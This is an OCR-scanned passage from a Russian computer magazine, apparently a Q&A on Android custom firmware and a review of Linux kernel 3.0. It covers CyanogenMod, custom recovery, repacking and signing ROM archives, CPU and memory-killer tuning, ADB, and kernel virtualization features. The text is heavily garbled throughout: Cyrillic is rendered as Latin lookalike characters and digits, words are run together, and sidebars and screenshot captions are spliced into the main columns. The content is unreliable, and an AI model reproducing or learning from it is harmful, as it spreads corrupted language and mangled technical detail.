HOCTU FVMKaM unporpamMmucTam. Mpotwmveka
BKJ/Il04aeT B cebsi MHOXeCTBO CaMblX pa3HbiX
ONTUMU3ALUIA KOLE, KOTOPbIE MO TEM UITU UHBIM
npu4mHam bbinun oTBeprHyTol Google. Umeetcs
pacLiMpeHHOe MeHI0 HAaCTPoeK, Mo3BosOLLEe

6osiee TOHKO yNpaBNsATb KOHGUTypaL e cUcTeMbI
(HanpuMep BKI0YNTL/BbIKI0YNTL JIT, U3MEHNTD
LYBETCTaTyCHON CTPOKM, €€ MOJIOXKEHNE U COLLePXU-
MOe, HaCTPOUTb 3KPaH HNIOKMPOBKM, NOBECUTL Ha
XapABapHble KHOMKW afbTepHaTUBHbIE AeCTBUS,
TOHKO YNPaBfiTh 3BYKOBbIMU CUTHANAMU 1 MHOTO€
Apyroe). BnpoLwmneKe eCTb MeXaHW3M NPUHYAUTEb-
HOrO OrpaHNYeHUs MPUITOXKEHN B BO3MOXHOCTAX
(HanpuMep, MOXHO 3aMpeTUTb Urpe BbIXOA B
WHTEpPHET /15 N0Ka3a pekaMbl), BO3MOXKHOCTb
NPUHYANTENBHON YCTAHOBKM BCEX MPUIOXKEHNI Ha
SD-kapTy, MexaH13M ynpasieHus TeMamm
odopMneHuns, paspaboTtaHHblii T-Mobile, ecTb
BCTPOEHHbIV pOHAPUK, MCMONb3YIOLMIA BCMbILLKY
Kamepbl, MporpaMMHbI 9KBaaii3ep, HanucaHHoe ¢
Hyns FM-pagavo (ansayctpoiicts c FM-npueMHikom),
B Bbl€3)KaloLLlylo M3 CTAaTYCHOM CTPOKM NaHeb
BCTPOEH MHTepdeicynpaBieHns C BO3MOXKHOCTAMM
ycTpoiicTga (BkoueHune/sbiknoyeHne Wi-Fi,
Bluetooth, 3G uT. a.). UMeeTcanpeaycTaHoBEHHbIN
busyboxn SSH-cepBep, aTakxe Habop nepBo-
knaccHbixoboeB. BnocnegHee spems CyanogenMod
0bpennpocTo GpeHoMeHanbHY0 NOMyAAPHOCTb,
MOYTN KaX bl MeCAL, NOABASIOTCA NOPTbI HAa HOBbIE
ycTpoiicTsa (www.cyanogenmod.com/devices).
Takxxe ecTb H0sbLIOE KOJIMYECTBO IKCMEPUMEH-
TasbHbIX NOPTOB, eLLe He 0A06peHHbIX KOMaHAOM
CyanogenMod. X MOXXHO HaliTW B COOTBETCTBY0-
Wwunx pa3penax Haxda-developers.com.

u OTBETHa 3TOTBONPOC3aBUCUT OTTOrO, KaKyto

NPOLUMBKY Tbl cObMpaellbcs HakaTbiBaTb Ha
TenedoH. [1ns 06HoBNEHMS 0PULMANBHON NPOLLMBKM
0T NPOWN3BOANTENS 0OLIYHO MUCMONL3YKTCS CNeLanm-
3MpoBaHHbIE NPOrpaMMbl, paboTatoLL e TONbKO B
Windows. KaxabiyBaxatoLuii cebs npon3BoanTesb
YCTPOICTBMMEeeTCOOCTBEHHYIO BEPCUIO TaKo
nporpaMMbl, cobCcTBEHHBIN popMaTNpOLLNBOK U
cobCTBEHHbIN MeXaHN3M 6e30MacHoCTH, He
No3BONIAIOLLMIA 3aNMBaTb Ha TeNeOH CTOPOHHUE
npoLwmekm (06bIYHO 4N 3TOrO MCONb3YeTCH
nposepka ceptudukarta bezonacHocTh).

KAKMNPOLWNTb
TEJIE®OH?

[ns3aN1BKU NPOLINBOK, CO3AAHHbIX IOAbMU,
He MMELL UMM OTHOLLEHNS K TPOU3BOANTENIO
[Hanpumep Toroxe CyanogenMod), ncnonbayetcs
6oneeyHusepcanbHblii noaxo. BatoM cnyyae te-
nedoH cnefyeT3apyTuUTb, yCTAHOBUTb Ha HErO «Ka-
CTOMHbIii pekaBepu» (Hanpumep, c noMolsio ROM
Manager'an3 MapkeTta unu B npouecce pyTuHrac
nomouibio SuperOneClick), cknuHyTb Ha SD-kapTy
Zip-apXvB C NPOLUNBKOW, 3aiiTU B peKaBepu 0AHNM
13 0MUCaHHbIX B ClleAytoLleM Bonpoce cnocobos u,
ncnonb3ys MeHto «Flash zip from sdcard», yctaHo-
BUTb Zip-apX1B B CUCTEMY.

YTO TAKOE
«KACTOMHbIV PEKABEPW»?

NioboeycTpoitcto Ha Android'e (v He TobKO)
MMeeTHeboNbLLIOW pa3fen Ha BHyTPEHHe

NAND-namMsaTu, KoTopblii COaepXuTobpas Tak
Ha3blBaeMoro Recovery—mMuHumanuctuyHon 0C,
npeAHa3Ha4yeHHoMN A5 BOCCTaHOBAEHUS/
06HOB/IEHNSA NPOLINBKYW AeBaiica B Cllyyae ee
nopyu/ycTtapesaHus, a Takxxe ANS BbINOAHEHUs
psiAa ApYrux cepBUCHbIX 3afjay, Taknx kak cbpoc o
3aBOACKMX HacTpoek (Bain). Recovery He 3aBucUT
oTocHoBHOM OC, ycTaHOBNEHHOW Ha annaparTe,
no3TOMY ANIS BXOAA BHee 00bI4HO NCMOMb3yeTCs
MeTOo/ BbIK/IOYeHWS M BK/IIOYEHNs annapaTac
33)KaToi KNaBULLen yMeHbLUIEHUs FrpOMKoCTY (B
HEKOTOpbIX AieBaiicax Mcnosib3yeTcs Apyroi
cnocob). flanee Ha akpaHe NOABAAELTCH MeHIO, A5
HaBMraLyu no KOTOPOMY UCMOJIb3YI0TCS KNaBULLM
rpomkocTu (BBepx, BHW3) M BKNtoueHus (Enter).

KacToMHbIN pekaBepn—a3To MofndrKaLms
cTaHpapTHoro Recoverycropa3po bonbwmumHabopom
byHKUMiA. 0BbbIYHO TaKoW pekaBepu npefnaraeTTakue
byHKLMN, KaK ycTaHOBKa 1obbIX NpoLLnBoK 6e3 npo-
BepKU LMdpoBbIX Noanucei (0CHOBHOE Ha3HaueHMe),
noNHbIi 63kan cylwecTsytowei npowwmeku (nandroid
backup) neroBoccTaHoBNeHNE, M3MEHEHME CUCTEM-
HbiXx HacTpoek Android‘a, NoAroToBKa KapTbl NaMaTH
AN nepeHoca npuIoKeHN UNK co3ganns swap-
pa3fena, NepeMoHTUPOBaHNe CUCTEMHbIX Pa3fesloB B
pexwvMe uTeHus/3anncu uMHoroe apyroe. Hanbonee
MOMYy/SiPHbI M Pa3BUTHIA KACTOMHbIV pekaBepu Ha

HEMPOCTOW BbIEOP PABOYEIQ CTOJIA
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Bbibupath Mexay anbTepHaTUBHBIMU pabounMu cTonamu, NnpeacTasneqHbiMn B Android Market'e,

B bosblMHCTBE CyyaeB beccMbicieHHO. [To4TH Bce OHM OCHOBaHbI Ha cTaHaapTHoM Launcher’e,
pa3paboTtaHHoM Google, 1 He NpeCcTaBAAIOT HUYErO HOBOMO, KPOME KYUl Pa3fINyHbIX 1 B H0AbLIMHCTBE
cnyyaes becnonesHbix 0bBecok, MellawLLux paboTe. M3 Bcero aToro MHoroobpa3sust 40CTOMHbI BHUMaHUS

pasBe yTo LauncherPro n Zeam.

C ppyroit ctopoHsl, B Android Market'e ecTb HECKO/TbKO L8 ACTBUTENBHO «APYTHX» paboynx CTONOB, KOTOPbIE
CTOWT yCTaHOBUTb X0Ts Obl 415 pa3Hoobpasus. Bo-nepsbix, 310 Launcher?, o4eHb XOpoLlo MMUTHpYIOLL Ui
pabounit cton Windows Phone 7, MHorve U3 Tex, KTO yCTaHOBUI €ro «Ha MOCMOTPETb», UCMOJIb3YI0T ero
exefiHeBHO. Bo-BTopbIX, 3T0 pabounii cton nog HassaHwem SlideScreen (pekomergyto ckauatb becnnaTHyo
beta-Bepcuio oTciopa: getsatisfaction.com/larvalabs), KoTopbli BMECTO MKOHOK M BUAXKETOB BbIBOAWT Ha IKpaH
pa3ssinyHylo nosesHyio nHdopmaumio (norogy, nocnesHve SMS-coobuieHns, 380HkM, nucsMa, RSS-HosocTH,
coobujenns B TBUTTepe, Facebook'e n T. 4.) B BMAE yaobHoro passopaynsaemoro cnucka. MpocTo obaszateneH
[J151 TPOBbI, 0{HAaKO He COBCEM MPUrOAEH At eXKeAHEBHOr0 UCMOJIb30BaHMUS U3-3a CBOE MHOPOJHOCTH.
Tak)e coBeTylo nocMoTpeTb B cTopoHy Simple Home, BobpaBLuero B cebs MHorune n3 ngeit Windows Phone 7, n
Spark’a, npeacTaBnsioLLero coboit HeuTo cpefHee Mexay 0bbl4HbIM pabounm cTonom Android‘a u SlideScreen.
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UNIXOID

F becnpoBO/HbLIE CETH
BbizoBbl

yanogenMod

MecTononoxeHwne 1 3aLll

Y Mpunoxenwns

BHacTpoiikax npowneku CyanogenMod ecTb NyHKT
ANAYNpaBAeHNs PacliMpeHHbIMU HACTPOIHKAMK

cerogHswHuin feHb—3to ClockworkMod recovery,
co3aaHHbIi Koushik Dutta (Koush).

KAKCOEJIATb
CBOKOMPOLLUMNBKY?

EcTbpnBacnocoba. [epBblii v caMblii

TPYAHbIN: CKa4YaTb UCXOLHWUKW NOCeAHEN
Bepcum Android’annonpobosaTb cobpats OC TaK,
4T0bbI OHA KOPPEKTHO paboTanaHa Linux-aape,
npowunToM BYycTponcTee (byneTKpyTo, ecnnyaacTcs
pPa3nobbiTe UCXOAHWKMN S4Pa U HYXKHBIX MOAYEN, HO
NpPOU3BOAUTENN 3aTATMBAIOT C MPOLLECCOM
OTKpbITMS Koga Ao nociefHero). 3To notpebyer
rny60KMX 3HaHWI1 He ToNbKo B 06aacT Androida, Ho
M BOBCTpPauBaeMblx cucteMax. Ho MoXKHO NONTU 1 NoO
ropasgoboneenpoctoMy nyTu: MoguduLMpoBaTh
CYLLEeCTBYIOLLYIO NPOLLIMBKY.

Kaky»e Obl/10 cka3aHo BbiLLE, NOAaBAsIOLLEE
BONbWUHCTBO «@aBTOPCKUX» NpoLwmnBok ans Android-
cMapTpoHOB—3TO MOANPUKALMN APYTUX NPO-
LUNBOK, HAaNPUMepP CTOKOBOW, TO €CTbYCTAHOBNEHHON
HaTenedoH Noymonyaruto, NMbo Yyxoi cbopku
Android‘'a gns gaHHoro annapara. CeBsazaHo aTo cTeM,
4TO «MOA», B OTAMYME OT CaMocbHopHOM NPOLINBKMY,
oy4yeHbnerkocpenatb. [locyTu, Bc&, 4To 45 3T0r0
TpebyeTcs caenaTh, 3TONPOCTO pacnakoBaTb apxunBec
NPOLUNBKO, NPOU3BECTU HEOOXOANMbBIE U3MEHEHNS
(3aMeHnTb/B06aBNTL daitbl, 0OTpefakTUPOBaTL
KoHduru), 3anakosaTb apxus unognucatsero. Mo-
LIaroBO 3TOTMPOLECC BbIMNAANT Tak:
MonyyaeMapxuB c HY)XXHOW NPOLLUNBKOIA:
$ wget http://a.b.c/update.zip
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BoTTakue KHONKM eCTb BBbINAA

“naHenuCyanog

PacnakoBbiBaeMero:

$ mkdir myrom
$ cd myrom
$ unzip ../update.zip

B kaTanore nossuTca ABanofgkatanorau
daiinboot.img. Katanor META-INF copepxuTt
MeTa-nHdopMaLmio 06 06HOBNEHNU, TaKY Kak
erocospaTenb, Unpposble cepTUPMKaTLI M CKPUNT
obHoBneHns META-INF/com/google/android/
updater-script, KoTopblii NoAroTaBnnBaeT Ka-
TanoroByto CTPYKTYpY, yAanseT cTapblie Gpainsbl,
nHdopMmupyeT Recoveryonporpecce obHoBNEHUS.
®aitnboot.img—>sToaapo Linuxn3arpysoyrblit
ram-fucK, MX MOXKHO M3BeYb C MOMOLLbIO CKpUNTa
split_bootimg.pl (goo.gl/QejM9). HakoHew, kaTanor
system—camas MHTepecHas U nonesHas 4acTb
apxuBa CMpOLIMBKONA. 3TO HE YTO MHOE, KaK CO-
LlepXKMMoe 0OAHOMMEHHOT0 CUCTEMHOrO pa3fena
Android’a, BKOTOPOM Hax0A4ATCH KOMMOHEHTbI ca-
Mo OC. 3pecbecTb KaTasnorapp, Cogepxaliui sce
CUCTEMHbIE MPUTOXeHUs [MOXKHO yAannTbTe, KOTO-
pble He HPaBSATCS, U MONOXUTL HoBbIe), bin uxbin co-
nepxat pasnuyHbie Linux-komaHabl (B xbin MoxHO
pacnakoBaTb cBeXuit busybox), etc—HacTpoiku
pasINYHbIX CUCTEMHBIX AeMOHOB, fonts — wpud-
Tbl, framework — cuctemHble Java-6ubnuoteku,
dannframework-res.apk copepxutctaHfapTHble
pecypchbl CUCTEMbI U MPUIOXKEHWI, EFO MOXHO UC-
noNb30BaTh 41 U3MEHEHUS CTAHAAPTHBIX UKOHOK,
uBeToB [Haxda-developers.com neXuT MHOTO Bep-
cuitaToro daiina c pasnuyHbIMU KacToMusaunamml,

CrnaxneaHwe Noe EPXHO

BHacTpoiikaxnpowusku CyanogenMod ecTb nyHKT
ANSYNpaBAeHUs PacluMpeHHbIMU HACTPOIHKaMU

lib—Linux-6nbnnoTtekn (3gech nydlie HUYero He
TporaTb), media— pasnuyHbie MynbTUMe[UIAHbIE
LLaHHble, HanpuMep bootanomation.zip —apxus,
coflepXalluit aHNMaL o, LEMOHCTPUPYEMYIo NpK
3arpy3Kke ycTpoWCTBa, 3Aech e ecTb KaTasoraudio
CPUHTTOHAMW, 3ByKaMy OMoBeLeHNA UT. n. (BCé B
oTkpbiToM popmaTe 0gg Vorbis, kctatu). Katanor
USr MOXeT COAepXaTb BCE YTOYrofHO, 06bIYHO B
HerononagatT Gainbl pa3nnyHbix Linux-geMoHoB
nnpunoxeHuin. ®aiin build.prop onucsiBaeTnpo-
WIMBKY M 3aaeT HEKOTOPbIE CUCTEMHbIE HACTPONKM.
MocneTorokak MoanduKaLmMa NpoLLUBKY
6yneT3aBepLieHa, MOXXHO 3anakoBaTb panibl
obpaTHo BapxuB:

$ zip -r myupdate.zip *
ApxvB cnefyeTnognucats, uHaye Recovery He

CMOXeTeroycTaHoBNTb. [lenaetcs 3To cnomoLybio
yTunuThI testsign.jar:

$ wget http://goo.gl/0yBBk
$ java -classpath testsign.jar testsign \
myupdate.zip myupdate-sign.zip

3anuBaeMnoanucaHHbI apxus Ha SD-kapTy
nycTaHaBnuBaeM cnomolubio Recovery.

KAKPA3OIHATb MPOLIECCOP
YCTPOMCTBA?

OyeHbNpocTo—3apyTUTbTenedoH n
yCTaHOBUTb Ha Hero npunoxerue SetCPU,
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ToTanbHoe NoAYMHEHME
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Pabouue cTonbi Android‘a (cnesaHanpago): ADW.Launcher, Launcher?7, Simple Home, SlideScreen

pocTynHoe B MapkeTe. [lporpamMMa no3sonseT3agathb
BEPXHEE U HVKHEee NoporoBble 3HaYeHUS A5
MeXaH13MayrnpaBJeHNsi MOLLLHOCTbIO MpoLieccopa, a
TakXe BblbpaTh 0AVH U3 HeCKONIbKMX Npoduneit:
MaKCcUMasbHyto MPON3BOANTENIbHOCTb, COXPAHEHMe
baTapew, MUHMMaNbHY0 MPON3BOANTENBHOCTB UT. .
OyHKUMAyNpaBAeHNS HACTPONKaMM MPON3BO-
nuTenbHocTu NpoleccopaecTb v B CyanogenMod:
«HacTtpoiiku - Hactpoitku CyanogenMod'a - Mpo-
n3pofmTenbHocTb = Hactpoiku LM». PaboTaet
OHamoToMy e npuHuuny, Yto n SetCPU. Takxe B
MeH10 «[TpOM3BOANTENBHOCTL» MOXHO BKITOYNTb/
BbIK04YNTb JIT-KOMNUnaLUMio, 3aNpeTuTh BbIFPY 3Ky
paboyerocTtonaunsnamMaTu (04eHb Nose3Ho Ass
YCTPOWCTB € ManbiM 06beMoM RAM] nusmeHuTs
pa3mepVMheap, 4To BTeOpUM MOXKET NPUBECTUK
YCKOpeHUIo paboThbl MPOXOPIMBbLIX 0 NAMATU NpU-
noxeHun (B3ToM cnydae cneayeTBbibpaTh bonee
BbICOKOE 3HayeHwne) nnbo ocsoboanTs nobosblie
onepaTuBKy (MeHbLUee 3HaueHWe). 3TU HaCTPONKK
MOXXHO 3MEHNTb 1 C NOMOLLLbI0 CTOPOHHEro root-
codTa, Takorokak Jitteru VM Heap Tool.

MOYEMY
TASKKILLER—3J10?

Task KillerHe3no, arnynoctb. BbonblwmnHcTee

CBOEM JIIAV UCTONb3YIOT ero He AN
Mosy4yeHUs Kakom bbl To HU BbI10 BIFOAbI, @ NPOCTO OT
HeCnocobHOCTM MepecTpoOuTL CBOE MblLLIEHUE Ha
HOBbIW CTWU/bYNpaBAeHNs 3aNyLLEHHbIMU MPUIIOKE-
HUsMU. MHXXeHepbl, npoekTvpoBaBwwve Android,
CAeNanuNpuIoKeHns HeybnBaeMbIMU He NPOCTO
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Tak, OHM OTANYHO MOHWUMAK, YTO BYC0BUAX
NOCTOSHHOrO PoCcTa 06BEMOB NaMATH B MOBMIIBHBIX
yCTpoicTBax NyyLlmii cnocob ncnonb3osath ee
cB0oboJjHOE NPOCTPAHCTBO 3TO NOMECTUTL TYAA
Haubonee yacTo BbI3biBaeMble NpuUIoxkeHus. B
pe3ynbTaTe Mosyunscs MexaHusm, KoTopbli
0CTaB/A€eTBCe 3aMyLieHHbIe MPUI0KEHNA BIUCETb B
namMaTU 0 TeXNOp, NOKa ee He CTaHeT AeCTBUTE b
HoMano.BaToM cayyae npockbinaeTcs BCTPOEHHbINA B
ALPO «yBOPLUMK», KOTOPbIV BEITECHAET U3 NaMATH
Haubonee peIko MCMOJb3yeMble MPUTOXKEHUS.
Takumobpa3om nonb3oBaTeNb NoslyyaeT cpasy Be
BKYCHOCTMW: 0TCYTCTBME HEODXOANMOCTMN 3aKpbIBaTbL
NPUNOXKEHNS CAMOCTOATESIbHO M 04eHb ObICTPbIN
A0CTYNK4acTo UCMOb3yeMbIM POrpaMMaM.
OcHoBHas npobsieMa aToro nofxofa 3akioya-
eTCH TONIbKO BTOM, YTO CTaHAAPTHbIE HACTPOIIKM
MeXaHW3Ma BbIrpy3KU MPUITOXEHNI N3 MaMsTH
yepecyyp AeMokpaTuyHsl. [aMaTb ocBoboxgaeTcs
TOIbKO BTOM C/ly4ae, eC/ih ee CTaHOBUTCA JeCTBU-
TesIbHO Maso /151 3arpy3Ky HOBOTO MPUIOXKEHUS,
No3TOMY BO BpeMsi 3anycka HeKOTOPbIX MPUITOXEHU I
MOTyTHabnoaaTbCs Hebonblue NpUTOpMaxmnBa-
HWs, BbI3BaHHble paboTonybopuymka. KcyacTbio,
ybopuunk obnafaeT nHTepdencoMmynpaBneHns,
CMOMOLLbI0 KOTOPOr0 ero MOXHO cienaTth bonee
arpeccuBHbIM. 115 aToro umeetcs daiin /sys/
module/lowmemorykiller/parameters, B KoTopbiit
3anucbiBaeTCs WeCTb 3HAYeHUIA, yNpaBAsioL X
noeefeHnem MexaHuamalowmemorykiller:

echo "2560,4096,6144,12288,14336,18432" > /sys/
module/lowmemorykiller/parameters/minfree

MoXH0 C034aTb COOTBETCTBYIOLMIA CKPUMT B
kaTtanore /system/etc/init.d, Ho uMel B BuAY, 4TO
cueHapuuus katanora/system/etc/init.d otpaba-
TbIBAKTCSA TONIbKO B KACTOMHbIX NPOLLMBKAX, Aa U TO
He BO BCeX. BO3MOXKHO, CKpUNT NpuaeTcs 3anyckaTb
BPYYHYto nocne kaxaon 3arpysku 0C.

XopowwnM AonofHeHeM K U3MeHEeHWI0 HaCTpoeK
yboplumnka byseT pacumncTka cnmcka sanyckaeMbix
Bo BpeMs cTapTa OC npunoxeruit. Bospems sarpys-
kK Android 3anyckaeT Ky4y «4acTo UCMOb3YEMbIX>»
CODTUH, MHOTME N3 KOTOPbLIX MOTYTTebe HuKoraa n
He NoHafobUTbCs, HOTeM He MeHee byayT 3aHUMaTb
namsTb. 3To, KCTaTH, Take COGTUHbI, KakK FoJ10Co-
Boi Habop, Bluetooth, kanengapsb, noyta (He Gmail,
anpocrtas noytosas nporpammal, yacsi (te, yepes
KOTOpble HacTpansaeTcs byannbHUK). Yoanute Bcé
3T0 M3 aBTO3aMycKa MOXHO C MOMOLLbIO CreLuanu-
3upoBaHHoro codta, Hanpumep Startup Cleaner
(6ecnnatHo B MapkeTe).

HTOTAKOE
ADB?

ADB—3T10Android Debug Bridge, nHtep-

beic HU3KOYPOBHEBOW OTNAAKM MyNpaBe-
Hua Android-ycTpoiCTBOM, KOTOPbI NO3BONAET
YAANEHHO OTNaXNBaTb NPUNOXEHUS, yCTaHaBMN-
BaTb W YyAaNaTb UX, MaHUNYyNUMpoBaTb Ganamu,
BbIMOJIHATb KOMaH/bl, NPOCMaTPUBaTb CUCTEMHbIN
KYPHaN M AenaTb MHOXECTBO [pyrvX N0Oe3HblX
Bellen. ITa wWTyka bbinanogpobHoonncaHa B
cTatbe «bonbloi 6paTn3enexbiii poboT»
(1[_09_2011), Tak yTo He ByneM nosTopsATLCA. 3
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Tux—3HaMeHUTbI}
cumBonLinux’‘a

LINUXKERNEL 3.0:
0b30P CAMbIXBAXKHbIX
HOBOBBEAEHUMU

Batomropy Linux otnpa3gHyetceoe 20-neTue.

B cBA3n c tobnneem BMECTO HOBOM BEPCUM 38 HOME-
poM 2.6.40 Bbilwna Bepcus 3.0. B obem, xopoLumn
MOBOA, YTODObI OFNAHYTLCSA Ha3af, M BCMOMHUTD,
KaKue NLWKN HaM NpuHecna BeTKa 2.6.
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4TO0 B UMEHWU TEBE MOEM?

0 BO3MOXHOCTH CMeHbI crocoba HyMepauuu penusos Linux'a rosopunu

yXKe 4aBHO. Bblnv BapnaHTbl Kak-To MpuBA3aThCs K faTe pennsa (Ha-

npumep 2011.4.0), Ho B KOHLLE KOHLLOB peLleHo 6blI0 0CTaBUTL CTapblii

BapuaHT. Tonbko BMecTo Bepcun 2.6.40 caenatb Bepcuto 3.0, KoppekTu-

PYIOLMM peNn3am 0CTaBUB TPETbIO LNPPY (T. e. NepBbIM TAKUM Pein30oM

ctan3.0.1). BpanbHeliwem nepsas uudpa bynet MeHsTbCA 1ubo B ciydae

BHECEHWS KaKUX-TO KAapAUHaIbHbIX U3MeHeHU, N1nbo pa3 B 40 MUHOPHBbIX

Bepcuit. Yncno 40 BbibpaHo Takum 06pa3oM, YTobbl Ha BbINYCK Takoro

KOJIM4eCcTBa BEPCUN YXO[MII0 MPUMEPHO LeCSHTb JeT.
Camnocebepenn33.0He HeceTB cebe HMYEronpuMeyaTebHOro uMor

Obl CMOKOWHO CTaTb 04epeHbIM pesin3oM B BeTKe 2.6. Cpein 0CHOBHbIX

HOBOBBEJEHWUN:

e CucteMmaBupTyanusauuv Xen bblna okoHYaTeIbHO MHTErprpoBaHa B
BaHWIJIbHOE PO.

e YBenuueHackopocTbpaboTsl Birfs'a, ByacTHocTH 3a cyeT peanusauum
aBToMaTuyeckoi fedpparmentaunm. fipyrne ®Croxe He 3abbIThi: exth
063aBenach3alWNTON 0T MHOXECTBEHHOT0 MOHTUpoBaHus, B OCFS2
6binagobasneHanogaepxkakomanasl TRIM (ysennunsatowei Bpems
%13+ SSD). CIFS Hayunnu MoHTuposaTs Windows 2008 DFS (pacnpe-
peneHHas ©C).

e Cepbe3HoyBenn4eHa ckopocTb GUIbTPALMM NAKETOB C MOMOLLbIO
MHcTpyMeHToBTUNa tcpdump. Bonblie Bcero ato byaet 3amMeTHO Ha
64-BUTHBIX CUCTEMAX.

e [lognepxka dyHkuun «Wake on WLAN». MonHbii aHanor «Wake on
LAN», TonbKo c ucnonb3oBaHneM becnpoBogHOro agantepa.

e Tenepbpnsotnpasku/npuemalCMP-nakeToB He HYXHbI NPUBUAETAN
root. Bonbuwe Hukakux SUID Ha /bin/ping.

e [lobaBneH HoBbIl Tun kewa— Cleancache, B KoTopoM XxpaHaTCa faH-
Hble, KOTOPble He CTPALLHO NoTepsTh (MOryT6bITh TErKO BOCCTAHOB-
NeHbl U3 APYroro UCToYHMKa).
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Tykcnokonenns 3.0

Targets Max Cause

@ clobal Userspace lock contention 4,9ms
0 kworker/fuco 37,5| Waiting for event (poll) 4,9ms
& compiz 50

@ Xorg 5.0

& gnome-settings- 5.0

& bamfdaemon 50

B gnome-screensav 50

& skype 5.0

8 latencytop 5.0

& unity-window-de 5.0

& notify-osd 50 Backtrace

& npviewer.bin 4.9 futex_walt_queue_me

M firefox-bin 49 futex_wait

8 wpa_supplicant 49 do_futex

Maximum Percentage

1%
3%

|Freeze | |Refresh| Refreshinids

OyepenHoi MHCTPyMeHTOT Intel'a ans paspaboTunkos

e JlobaBneHbl fpaiiBepa A MHOTUX HOBbIX yCTpoicTB: Microsoft
Kinect, npoueccopos Intel cnegytowero nokonenus (Ivy Bridge) n
HOBbIX NpoLLeCCOpoB COBCTPOeHHOM rpadukort AMD Fusion.

MpakTnyecku cpasynocne pennsaBbles Habop naTyen LNs HOBO
Bepcun B rt-setke (Realtime) agpa, npespawatowuin Linux s 0C peansHoro
BpeMeHu. Mpeabigywas Bepcus natyei 6asmposanacs HaBepcum 2.6.33.
HoBas Bepcus bbina cunbHo fopaboTaHa M Tenepb3aTparvBaeT noyTM B
ABa pasaMenblie pannos (374 npotus 690), yTo no3BoNAeT HaZeATbCA HA
cnnsHne BeTok Bobo3pnumom byayuiem.

MpnMeyaTenbHO, YTO B CNUCKe GUPM, BHECLINX bosbLLe BCeX 13-
MeHeHnn B 3.0, HanaToM MecTe cocyeToM B 361 KOMMUT 0Kasanach...
Microsoft. Bce 3T KOMMUTbI CBA3aHbl C MOALEPXKKON CODCTBEHHO
TexHonoruv BupTyanusaunmn Hyper-V. Kctati, 3To He e AMHCTBEHHasN
HeoXuaaHHas HoBoCTb Ha TeMy «Microsoft u Linux». B yecTb Bbilweyno-
MSHYTOr0 t061N1es bbiNyCcTPOEH KOHKYPC Ha Iy YLIMUIA BUAEOPOUNK NPO
Linux, BKoTopoM npuHsnayyactue Microsoft, npegcTaBus cBoit poank
HaTeMy HemnpepbiBHO MEHSIOLLMXCSA B STy YLy CTOPOHY B3aUMOOTHOLLe-
Huii Microsoft n Linux.

BUPTYAJIN3ALINA

MoXHO cyBepeHHOCTbI0 CKa3aTb, YTo B IT-Mupe nocnefHune netcemMb
npownunoa dnarom BupTyanusaunu. lMepsas cepbe3Has cucTemaBup-
Tyanusauuu, nosBMBLIAACS B BaHUIbHOM afpe, — KVM (Kernel-based
Virtual Machine, Linux2.6.20). Bonee cTapas (v noka 6onee nonynapHas)
cucTemMa BUpTYyanu3saLmum Xen nosHOCTbI0 MHTErpupoBanach B A4pO TOJb-
koK 3.0.06e 3Tn cncTeMbl NOALEPXKMBAIOT TAKXe elle U NapaBUpTyanu-
3aumio (gatoulyo oulyTMo MeHbWw it oBepxea), Ho KVM B ioboM cryyae
HyxeH CPU cnopfiepxkoii annapaTHoi BUpPTyanusaumm.

Y106kl Linux HopManbHo (cTabunbHo u buicTpo) paboTtan kak roctesas
OC BBMpPTYyasnbHbIX OKPYXXEHUSX, EMY HYXXHbI CNellnanbHble ApaiiBepa.
Cetyac onmectb, kpoMme KVM u Xen, Takxe gns VMWare n MS Hyper-V.

B anpoTakxe BkntoyeH runepsusop lguest. Botnnyne orKVM gns
paboTbl eMy He Hy)XHa noaAepxka obopyaoBaHueM annapaTHOW BUPTyanu-
3auun. Botnunyme ot Xen M oyeHb NpocToynpaBaaTh. B otnunymne otobonx
OH coflepxunTBcerookono 5000 cTpok koaa. B obuieM-To ans cepbesHoro
CMOb30BaHUS OH He MpefiHa3HaueH: Liesiblo ero co3faHus bbiao Hanuca-
HUe 04eHb MPOCTOro rmnepBu3opa— npuMepa peanusaLnm.

CoBpeMeHeMBAfpe nosBAseTcs BCE bonblue BCMOMOraTesibHbiX
TEXHOJIOT WA, CBA3aHHbIX C BUPTYyanusauueit. OfHa U3 TakUX — MeHefKep
namstn KSM (Kernel Samepage Merging), KoTopelii npoyecbiBaeT namMaTh
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Ha MAEHTUYHbIE KyCKK M obbeanHseT nx. OcobeHHo adppekTnBEH OH B CNY-
4ae, eC/IM 3anyLLEeHO HECKOIbKO MAGHTUYHBIX BUPTYasibHbIX MaLLUVH.

HanmeHee HaknagHas BupTyanusaumns —HayposHe 0C, korpa Bup-
TyaslbHble MallMHbl KaK TaKOBbIe He UCMOJb3YITCS, a MPOCTO co3aeTcs
OKPY)XeHMe C CoBCTBEHHbIM NPOCTPAHCTBOM PECYPCOB 1 MPOLLECCOB.
CaMasi n3BecTHas nofobHas cuctema nog Linux—OpenVZ, Ho oHa He
BXOAMT B BaHWNbHoe aapo. Baape ectbananor —LXC, koTopblii onupa-
eTcs Ha CTaHAapTHbIE MexaHW3Mbl: namespaces (Koraa Kaxablil npouecc
MOXeT BUAeTb CBOe 0TAeNIbHOe NpeAcTaBieHne o paiiNoBoi cucTeMe,
3anyLeHHbIX NpoLeccax, cetTeBbix HacTpoiikax v ap.) u Control Group
(nnaynpasneHns pecypcamu).

BOJIbLUVE KOMITBIOTEPbI

BupTyanusauns nossonset3anyctuts Heckonbkux OC Ha 0JHOM KOMMbio-

Tepe. BHEKOTOpOM CMbIC/Ie MPOTUBOMONIOKHASA 3afa4a—3anycK 0gHo

KaKol-To 3afiaum Ha rpynne cepsepos (knactepe). Bagpo 2.6 nobasneHo

MHOFO 4ero nose3Horo B NoOALEPXKKY K1acTepoB v BoobLe bonbLwmnX Harpy-

MEHHbIX CUCTEM, yOPaHO HECKOTbKO B0CALHbIX OFpaHNYeHWii:

e MakcumanbHoe KonmyecTBo npoueccopos B SMP-cucteme yBenuye-
Ho [0 4096.

e MakcuManbHoOe KOIMYeCTBO FPYMM, B KOTOPbIX MOXET HAXOAUTLCA
nonb3oBaTesb, yBeanyeHo c 32 1o 65536.

e YBpaHoorpaHuMyeHMe Ha NATb CUMAUHKOB B LLeNOYKe.

Cepbe3Hble KacTepbl, Kak NpaBuo, mission critical, nyeM pexe oHu
0CTaHaBMMBAKTCA UM Nepe3arpyxatwTcs, TeM nyywe. O4Ha U3 TexHo0-
rUit, MO3BONAIOLLAA CHU3UTb YMC0 BbiKoYeHuit, —CPU K 03Y hotplug,
nopaepxXkakotopbixnossunacb B Linux'e 2.6.

B bonblumnx cucteMax, kKak npaBuIo, MHOr0O-MHOMO NPOLLECCOPOB
(snep), noaTomy Hapgo, 4Tobbl OC MacwTabnposanack Kak MOXHO Nyylue.
